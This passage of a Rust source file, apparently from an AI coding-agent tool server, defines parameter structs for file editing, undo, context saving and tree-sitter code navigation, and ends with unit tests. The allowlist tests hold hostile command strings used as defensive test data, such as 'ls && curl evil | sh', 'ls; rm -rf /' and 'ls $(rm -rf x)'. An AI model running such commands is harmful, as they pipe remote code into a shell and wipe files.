962#[derive(Debug, Clone, JsonSchema, PartialEq)]
963pub struct FileEditMode {
964    pub allowed_globs: AllowedGlobs,
965}
966
967// Write if empty mode
968#[derive(Debug, Clone, JsonSchema, PartialEq)]
969pub struct WriteIfEmptyMode {
970    pub allowed_globs: AllowedGlobs,
971}
972
973/// Parameters for the `FileWriteOrEdit` tool
974///
975/// This struct represents the parameters needed to write or edit a file
976/// with optional search/replace blocks for partial edits.
977#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
978pub struct FileWriteOrEdit {
979    /// Path to the file to write or edit
980    ///
981    /// This must be an absolute path (~ allowed).
982    pub file_path: String,
983
984    /// Percentage of the file that will be changed
985    ///
986    /// If > 50%, the content is treated as the entire file content.
987    /// If <= 50%, the content is treated as search/replace blocks.
988    pub percentage_to_change: u32,
989
990    /// Content for the file or search/replace blocks
991    ///
992    /// If `percentage_to_change` > 50%, this is the entire file content.
993    /// If `percentage_to_change` <= 50%, this contains search/replace blocks
994    /// in the format:
995    /// ```text
996    /// <<<<<<< SEARCH
997    /// old content to find
998    /// =======
999    /// new content to replace with
1000    /// >>>>>>> REPLACE
1001    /// ```
1002    pub text_or_search_replace_blocks: String,
1003
1004    /// The thread ID for this session
1005    pub thread_id: String,
1006}
1007
1008/// One file's worth of edits in a [`MultiFileEdit`] batch. Same semantics as the
1009/// corresponding [`FileWriteOrEdit`] fields.
1010#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1011pub struct FileEditEntry {
1012    /// Path to the file to write or edit (absolute, ~ allowed).
1013    pub file_path: String,
1014    /// If > 50%, the content is the entire file; if <= 50%, search/replace blocks.
1015    pub percentage_to_change: u32,
1016    /// Full file content or search/replace blocks (see `FileWriteOrEdit`).
1017    pub text_or_search_replace_blocks: String,
1018}
1019
1020/// Parameters for the `MultiFileEdit` tool: apply edits across several files
1021/// all-or-nothing at the COMPUTE stage.
1022///
1023/// Every file is validated and its new content computed in memory first; only
1024/// if ALL succeed are any writes performed. So a SEARCH that fails to match in
1025/// the last file leaves the first files untouched. The write stage is a sequence
1026/// of atomic single-file renames and stops at the first I/O failure (already
1027/// written files are not rolled back, which is reported clearly).
1028#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1029pub struct MultiFileEdit {
1030    /// Two or more files to edit together. For a single file use `FileWriteOrEdit`.
1031    pub files: Vec<FileEditEntry>,
1032
1033    /// The thread ID for this session
1034    pub thread_id: String,
1035}
1036
1037/// Parameters for the `UndoEdit` tool: revert a file to its content before the
1038/// last `FileWriteOrEdit`/`MultiFileEdit` in this session.
1039#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1040pub struct UndoEdit {
1041    /// Path of the file whose last edit should be reverted (absolute, ~ allowed).
1042    pub file_path: String,
1043
1044    /// The thread ID for this session
1045    pub thread_id: String,
1046}
1047
1048/// Parameters for the `ContextSave` tool
1049///
1050/// This struct represents the parameters needed to save context information
1051/// about a task, including file contents from specified globs.
1052#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1053pub struct ContextSave {
1054    /// Unique identifier for the task
1055    ///
1056    /// This should be a unique string that identifies the task. It can be
1057    /// a random 3-word identifier or a user-provided value.
1058    pub id: String,
1059
1060    /// Root path of the project
1061    ///
1062    /// This should be an absolute path to the project root. If empty, no
1063    /// project root will be used.
1064    pub project_root_path: String,
1065
1066    /// Description of the task
1067    ///
1068    /// This should contain a detailed description of the task, including
1069    /// relevant context, problems, and objectives.
1070    pub description: String,
1071
1072    /// List of file glob patterns
1073    ///
1074    /// These glob patterns identify the files that should be included in
1075    /// the saved context. Patterns can be absolute or relative to the project root.
1076    pub relevant_file_globs: Vec<String>,
1077
1078    /// Optional thread ID identifying the shell session to operate on. When
1079    /// omitted, the most recently active session is used.
1080    #[serde(default)]
1081    pub thread_id: String,
1082}
1083
1084/// Parameters for the `ReadImage` tool
1085///
1086/// This struct represents the parameters needed to read an image file.
1087#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1088pub struct ReadImage {
1089    /// Path to the image file to read
1090    ///
1091    /// This can be an absolute path or a path relative to the current working directory.
1092    pub file_path: String,
1093
1094    /// Optional thread ID identifying the shell session to operate on. When
1095    /// omitted, the most recently active session is used.
1096    #[serde(default)]
1097    pub thread_id: String,
1098}
1099
1100/// Operation for the `CodeMap` tool.
1101#[derive(Debug, Clone, Copy, Serialize, Deserialize, JsonSchema, PartialEq, Eq)]
1102#[serde(rename_all = "snake_case")]
1103pub enum CodeMapOperation {
1104    /// A file's symbol definitions, or a ranked repo-wide symbol map for a directory.
1105    Outline,
1106    /// The definition + reference (call/use) sites of a symbol name across the repo.
1107    References,
1108}
1109
1110/// Parameters for the `CodeMap` tool: tree-sitter code navigation. One tool with
1111/// two operations, in place of separate `Outline` / `FindReferences` tools.
1112#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1113pub struct CodeMap {
1114    /// `outline` (symbols in a file, or a ranked repo symbol map for a directory)
1115    /// or `references` (the definition + use sites of a symbol name).
1116    pub operation: CodeMapOperation,
1117
1118    /// For `outline`: the file or directory to map (empty or a directory = a
1119    /// ranked repo symbol map). For `references`: the directory or file to search
1120    /// under (empty = the whole workspace). Relative paths resolve against the
1121    /// workspace.
1122    #[serde(default)]
1123    pub path: String,
1124
1125    /// For `references` ONLY: the exact symbol name to find (e.g. `parse_config`).
1126    /// Required for `references`, ignored by `outline`.
1127    #[serde(default)]
1128    pub name: String,
1129
1130    /// Maximum results: symbols (single file) or files (repo map) for `outline`,
1131    /// occurrences for `references`. 0 means the default.
1132    #[serde(default)]
1133    pub max_results: usize,
1134
1135    /// Optional thread ID identifying the shell session to operate on. When
1136    /// omitted, the most recently active session is used.
1137    #[serde(default)]
1138    pub thread_id: String,
1139}
1140
1141/// Parameters for the `Outline` operation (tree-sitter symbol map), used
1142/// internally by `CodeMap`.
1143#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1144pub struct Outline {
1145    /// File or directory to outline. A file returns that file's symbols; a
1146    /// directory (or empty = the whole workspace) returns a ranked repo symbol
1147    /// map. Relative paths resolve against the workspace.
1148    #[serde(default)]
1149    pub path: String,
1150
1151    /// Maximum symbols to return for a single file, or maximum files for a repo
1152    /// map. 0 means the default.
1153    #[serde(default)]
1154    pub max_results: usize,
1155
1156    /// Optional thread ID identifying the shell session to operate on. When
1157    /// omitted, the most recently active session is used.
1158    #[serde(default)]
1159    pub thread_id: String,
1160}
1161
1162/// One symbol (definition) in `Outline` output.
1163#[derive(Debug, Clone, Serialize, JsonSchema)]
1164pub struct OutlineSymbol {
1165    /// Symbol name.
1166    pub name: String,
1167    /// Symbol kind from the grammar (e.g. `function`, `struct`, `method`, `class`).
1168    pub kind: String,
1169    /// 1-based line where the definition starts.
1170    pub line: usize,
1171}
1172
1173/// Symbols for one file in `Outline` output.
1174#[derive(Debug, Clone, Serialize, JsonSchema)]
1175pub struct OutlineFile {
1176    /// Workspace-relative path of the file.
1177    pub file: String,
1178    /// Definitions found in the file, in source order.
1179    pub symbols: Vec<OutlineSymbol>,
1180}
1181
1182/// Structured result of an `Outline` call (mirrors the text block).
1183#[derive(Debug, Clone, Serialize, JsonSchema)]
1184pub struct OutlineOutput {
1185    /// `file` for a single-file outline, `repo` for a workspace symbol map.
1186    pub mode: String,
1187    /// Number of files included in `files`.
1188    pub files_shown: usize,
1189    /// Per-file symbol lists.
1190    pub files: Vec<OutlineFile>,
1191    /// True if the symbol map was capped (more files or symbols exist).
1192    pub truncated: bool,
1193}
1194
1195/// Parameters for the `FindReferences` tool (tree-sitter symbol occurrences).
1196#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1197pub struct FindReferences {
1198    /// Symbol name to find — an exact identifier match (e.g. `parse_config`).
1199    pub name: String,
1200
1201    /// Directory or file to search under. Relative paths resolve against the
1202    /// workspace; leave empty to search the whole workspace.
1203    #[serde(default)]
1204    pub path: String,
1205
1206    /// Maximum occurrences to return. 0 means the default.
1207    #[serde(default)]
1208    pub max_results: usize,
1209
1210    /// Optional thread ID identifying the shell session to operate on. When
1211    /// omitted, the most recently active session is used.
1212    #[serde(default)]
1213    pub thread_id: String,
1214}
1215
1216/// One symbol occurrence in `FindReferences` output.
1217#[derive(Debug, Clone, Serialize, JsonSchema)]
1218pub struct ReferenceHit {
1219    /// Workspace-relative path.
1220    pub file: String,
1221    /// 1-based line.
1222    pub line: usize,
1223    /// Symbol kind from the grammar (e.g. `function`, `call`, `method`).
1224    pub kind: String,
1225    /// True for a definition, false for a reference (call / use site).
1226    pub is_definition: bool,
1227}
1228
1229/// Structured result of a `FindReferences` call (mirrors the text block).
1230#[derive(Debug, Clone, Serialize, JsonSchema)]
1231pub struct ReferencesOutput {
1232    /// The symbol name that was searched for.
1233    pub name: String,
1234    /// Number of returned hits that are definitions.
1235    pub definitions: usize,
1236    /// Number of returned hits that are references (call / use sites).
1237    pub references: usize,
1238    /// True if the result was capped (more occurrences exist).
1239    pub truncated: bool,
1240    /// Occurrences, definitions first then references, each group by file/line.
1241    pub hits: Vec<ReferenceHit>,
1242}
1243
1244/// JSON Schema advertised for `CodeMap.structuredContent`.
1245///
1246/// `CodeMap` has two operations with different payloads. Their shared
1247/// `truncated` field is required; operation-specific fields are optional so the
1248/// single object schema accepts both the outline and references result shapes.
1249#[derive(Debug, Clone, JsonSchema)]
1250pub struct CodeMapStructuredOutput {
1251    pub truncated: bool,
1252    pub mode: Option<String>,
1253    pub files_shown: Option<usize>,
1254    pub files: Option<Vec<OutlineFile>>,
1255    pub name: Option<String>,
1256    pub definitions: Option<usize>,
1257    pub references: Option<usize>,
1258    pub hits: Option<Vec<ReferenceHit>>,
1259}
1260
1261#[cfg(test)]
1262mod thread_id_tests {
1263    use super::{normalize_thread_id, MAX_NORMALIZED_THREAD_ID_BYTES};
1264
1265    #[test]
1266    fn clean_id_is_unchanged() {
1267        assert_eq!(normalize_thread_id("tid_deadbeef"), "tid_deadbeef");
1268        assert_eq!(normalize_thread_id("worker_1"), "worker_1");
1269    }
1270
1271    #[test]
1272    fn empty_and_all_special_normalize_to_empty() {
1273        assert_eq!(normalize_thread_id(""), "");
1274        assert_eq!(normalize_thread_id("---"), "");
1275    }
1276
1277    #[test]
1278    fn separator_variants_do_not_collide() {
1279        // "user-1" and "user1" must NOT resolve to the same session/state file.
1280        let a = normalize_thread_id("user-1");
1281        let b = normalize_thread_id("user1");
1282        assert_ne!(a, b);
1283        assert!(a.starts_with("user1_"), "got {a}");
1284        assert_eq!(b, "user1");
1285        // "user-1" vs "user_1" must also stay distinct.
1286        assert_ne!(normalize_thread_id("user-1"), normalize_thread_id("user_1"));
1287    }
1288
1289    #[test]
1290    fn normalization_is_deterministic() {
1291        // Same input -> same hash -> same session across restarts.
1292        assert_eq!(normalize_thread_id("a-b.c"), normalize_thread_id("a-b.c"));
1293    }
1294
1295    #[test]
1296    fn oversized_ids_are_utf8_safe_bounded_and_idempotent() {
1297        let original = "á".repeat(200);
1298        let normalized = normalize_thread_id(&original);
1299        assert!(normalized.len() <= MAX_NORMALIZED_THREAD_ID_BYTES);
1300        assert!(normalized.is_char_boundary(normalized.len()));
1301        assert_eq!(normalize_thread_id(&normalized), normalized);
1302    }
1303}
1304
1305#[cfg(test)]
1306mod allowlist_tests {
1307    use super::AllowedCommands;
1308
1309    fn list(items: &[&str]) -> AllowedCommands {
1310        AllowedCommands::List(items.iter().map(|s| (*s).to_string()).collect())
1311    }
1312
1313    #[test]
1314    fn all_permits_everything() {
1315        assert!(AllowedCommands::All("all".to_string()).is_allowed("rm -rf /"));
1316    }
1317
1318    #[test]
1319    fn list_allows_exact_and_args() {
1320        let a = list(&["ls", "cargo test"]);
1321        assert!(a.is_allowed("ls"));
1322        assert!(a.is_allowed("ls -la"));
1323        assert!(a.is_allowed("cargo test --release"));
1324    }
1325
1326    #[test]
1327    fn list_blocks_word_boundary_lookalikes() {
1328        let a = list(&["ls", "cargo test"]);
1329        assert!(!a.is_allowed("lsof"));
1330        assert!(!a.is_allowed("cargo testimony"));
1331    }
1332
1333    #[test]
1334    fn list_blocks_chained_and_substituted_commands() {
1335        let a = list(&["ls"]);
1336        // The old first-token check let all of these through.
1337        assert!(!a.is_allowed("ls && curl evil | sh"));
1338        assert!(!a.is_allowed("ls; rm -rf /"));
1339        assert!(!a.is_allowed("ls $(rm -rf x)"));
1340        assert!(!a.is_allowed("ls | rm"));
1341    }
1342
1343    #[test]
1344    fn list_allows_chain_when_all_parts_permitted() {
1345        let a = list(&["cargo build", "cargo test"]);
1346        assert!(a.is_allowed("cargo build && cargo test"));
1347    }
1348}
1349
1350#[cfg(test)]
1351mod code_writer_config_tests {
1352    use super::deserialize_code_writer_config;
1353    use serde_json::json;
1354
1355    #[test]
1356    fn explicit_null_opts_out() {
1357        assert!(matches!(deserialize_code_writer_config(json!(null)), Ok(None)));
1358        assert!(matches!(deserialize_code_writer_config(json!("null")), Ok(None)));
1359    }
1360
1361    #[test]
1362    fn valid_config_parses() {
1363        let r = deserialize_code_writer_config(json!({
1364            "allowed_commands": "all",
1365            "allowed_globs": "all",
1366        }));
1367        assert!(matches!(r, Ok(Some(_))));
1368    }
1369
1370    #[test]
1371    fn malformed_config_fails_loud() {
1372        // The crux of the fix: a malformed restricted-mode config must ERROR,
1373        // not silently degrade to None (None falls back to All/All — wide open,
1374        // while the model believes the shell is locked down).
1375        let r = deserialize_code_writer_config(json!({ "allowed_commands": 12345 }));
1376        assert!(r.is_err(), "malformed code_writer config must error, not become None");
1377    }
1378}